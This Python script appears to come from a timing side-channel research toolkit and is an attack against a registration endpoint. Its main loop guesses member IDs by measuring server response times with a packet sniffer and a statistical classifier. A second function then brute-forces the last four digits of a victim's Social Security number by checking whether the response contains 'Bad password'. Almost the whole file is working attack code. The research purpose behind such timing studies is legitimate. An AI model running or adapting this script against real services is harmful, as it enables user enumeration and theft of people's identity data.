1 | #!/usr/bin/env python3 |
---|
2 | #-*- mode: Python;-*- |
---|
3 | |
---|
4 | import sys |
---|
5 | import os |
---|
6 | import time |
---|
7 | import random |
---|
8 | import tempfile |
---|
9 | import argparse |
---|
10 | import socket |
---|
11 | import json |
---|
12 | import functools |
---|
13 | try: |
---|
14 | import requests |
---|
15 | except: |
---|
16 | sys.stderr.write('ERROR: Could not import requests module. Ensure it is installed.\n') |
---|
17 | sys.stderr.write(' Under Debian, the package name is "python3-requests"\n.') |
---|
18 | sys.exit(1) |
---|
19 | |
---|
20 | VERSION = "{DEVELOPMENT}" |
---|
21 | if VERSION == "{DEVELOPMENT}": |
---|
22 | script_dir = '.' |
---|
23 | try: |
---|
24 | script_dir = os.path.dirname(os.path.realpath(__file__)) |
---|
25 | except: |
---|
26 | try: |
---|
27 | script_dir = os.path.dirname(os.path.abspath(sys.argv[0])) |
---|
28 | except: |
---|
29 | pass |
---|
30 | sys.path.append("%s/../../trunk/lib" % script_dir) |
---|
31 | |
---|
32 | from nanownlib import * |
---|
33 | from nanownlib.train import * |
---|
34 | import nanownlib.storage |
---|
35 | |
---|
36 | |
---|
37 | parser = argparse.ArgumentParser( |
---|
38 | description="") |
---|
39 | parser.add_argument('session_data', default=None, |
---|
40 | help='Database file storing session information') |
---|
41 | parser.add_argument('host', default=None, |
---|
42 | help='IP address or host name of server') |
---|
43 | parser.add_argument('port', nargs='?', type=int, default=8080, |
---|
44 | help='TCP port number of HTTP service (default: 8080)') |
---|
45 | options = parser.parse_args() |
---|
46 | |
---|
47 | |
---|
48 | hostname = options.host |
---|
49 | port = options.port |
---|
50 | protocol = 'http' |
---|
51 | |
---|
52 | |
---|
53 | def extractReportedRuntime(headers, body): |
---|
54 | try: |
---|
55 | if 'X-Response-Time' in headers: |
---|
56 | t = headers['X-Response-Time'].split('ms')[0] |
---|
57 | return int(float(t)*1000000) |
---|
58 | except: |
---|
59 | pass |
---|
60 | |
---|
61 | return None |
---|
62 | |
---|
63 | |
---|
64 | def sendRequest(data=None): |
---|
65 | method = 'POST' |
---|
66 | path = '/jregistrate/register' |
---|
67 | url = "%s://%s:%d%s" % (protocol,hostname,port,path) |
---|
68 | headers = {"Content-Type":"application/x-www-form-urlencoded"} |
---|
69 | body = (b'member_id='+data.encode('utf-8')+b'&last_four=1111&username=bob&password=1234&conf_pwd=4321') |
---|
70 | req = requests.Request(method, url, headers=headers, data=body).prepare() |
---|
71 | |
---|
72 | retry = True |
---|
73 | while retry: |
---|
74 | try: |
---|
75 | session = requests.Session() |
---|
76 | response = session.send(req, verify=False) |
---|
77 | #print(repr(response.raw._original_response.local_address)) |
---|
78 | reported = extractReportedRuntime(response.headers, response.text) |
---|
79 | retry = False |
---|
80 | except Exception as e: |
---|
81 | sys.stderr.write("ERROR: HTTP request problem: %s\n" % repr(e)) |
---|
82 | time.sleep(1.0) |
---|
83 | sys.stderr.write("ERROR: retrying...\n") |
---|
84 | #print(data.encode('utf-8'), reported) |
---|
85 | |
---|
86 | return {'userspace_rtt':response.elapsed.microseconds*1000, |
---|
87 | 'reported':reported, |
---|
88 | 'local_port':response.raw._original_response.local_address[1]} |
---|
89 | |
---|
90 | |
---|
91 | def fetch(probedata, data): |
---|
92 | # http://docs.python-requests.org/en/latest/api/#requests.Response |
---|
93 | result = sendRequest(data) |
---|
94 | result.update(probedata) |
---|
95 | |
---|
96 | return result |
---|
97 | |
---|
98 | |
---|
99 | def findMaxSampleID(db): |
---|
100 | cursor = db.conn.cursor() |
---|
101 | cursor.execute("SELECT max(sample) FROM probes") |
---|
102 | return cursor.fetchone()[0] |
---|
103 | |
---|
104 | |
---|
105 | setCPUAffinity() |
---|
106 | setTCPTimestamps() |
---|
107 | host_ip = socket.gethostbyname(hostname) #XXX: what about multiple A records? |
---|
108 | db = nanownlib.storage.db(options.session_data) |
---|
109 | |
---|
110 | cases = {"invalid":"0012-9999"} |
---|
111 | guesses = [("0012-%d"%id) for id in range(0,9999) if id != 2019] |
---|
112 | random.shuffle(guesses) |
---|
113 | num_observations = 100 |
---|
114 | trim = (0,0) |
---|
115 | classifier = "septasummary" |
---|
116 | params = {"distance": 25, "threshold": 40094.274} |
---|
117 | classifierTest = functools.partial(classifiers[classifier]['test'], params, True) |
---|
118 | |
---|
119 | |
---|
120 | sid = findMaxSampleID(db) + 1 |
---|
121 | for guess in guesses: |
---|
122 | print("Collecting samples for:", guess) |
---|
123 | cases["valid"] = guess |
---|
124 | stype = "attack_%s" % guess |
---|
125 | sample_order = list(cases.items()) |
---|
126 | |
---|
127 | sniffer_fp = tempfile.NamedTemporaryFile('w+t') |
---|
128 | sniffer = startSniffer(host_ip, port, sniffer_fp.name) |
---|
129 | time.sleep(0.5) # ensure sniffer is fully ready and our process is migrated |
---|
130 | |
---|
131 | for obs in range(num_observations): |
---|
132 | random.shuffle(sample_order) |
---|
133 | now = int(time.time()*1000000000) |
---|
134 | |
---|
135 | results = [] |
---|
136 | for i in range(len(sample_order)): |
---|
137 | results.append(fetch({'sample':sid, 'test_case':sample_order[i][0], |
---|
138 | 'type':stype, 'tc_order':i, 'time_of_day':now}, |
---|
139 | sample_order[i][1])) |
---|
140 | db.addProbes(results) |
---|
141 | db.conn.commit() |
---|
142 | sid += 1 |
---|
143 | |
---|
144 | time.sleep(2.0) # Give sniffer a chance to collect remaining packets |
---|
145 | stopSniffer(sniffer) |
---|
146 | associatePackets(sniffer_fp, db) |
---|
147 | sniffer_fp.close() |
---|
148 | num_probes = analyzeProbes(db, trim=trim) |
---|
149 | print("num_probes: ", num_probes) |
---|
150 | |
---|
151 | if classifierTest(db.subseries(stype, "valid")): |
---|
152 | print("Found valid member_id: ", guess) |
---|
153 | break |
---|
154 | |
---|
155 | |
---|
156 | def guessSSN(member_id, last_four): |
---|
157 | method = 'POST' |
---|
158 | path = '/jregistrate/register' |
---|
159 | url = "%s://%s:%d%s" % (protocol,hostname,port,path) |
---|
160 | headers = {"Content-Type":"application/x-www-form-urlencoded"} |
---|
161 | body = (b'member_id='+member_id.encode('utf-8')+b'&last_four='+last_four.encode('utf-8')+b'&username=bob&password=1234&conf_pwd=4321') |
---|
162 | req = requests.Request(method, url, headers=headers, data=body).prepare() |
---|
163 | session = requests.Session() |
---|
164 | response = session.send(req, verify=False) |
---|
165 | |
---|
166 | if 'Bad password' in response.text: |
---|
167 | return True |
---|
168 | else: |
---|
169 | return False |
---|
170 | |
---|
171 | |
---|
172 | print(guessSSN('0012-5969', '4298')) |
---|
173 | sys.exit(0) |
---|
174 | |
---|
175 | for last_four in range(9999): |
---|
176 | if guessSSN(guess, "%4d" % last_four): |
---|
177 | print("Found valid SSN last four digits:", last_four) |
---|
178 | break |
---|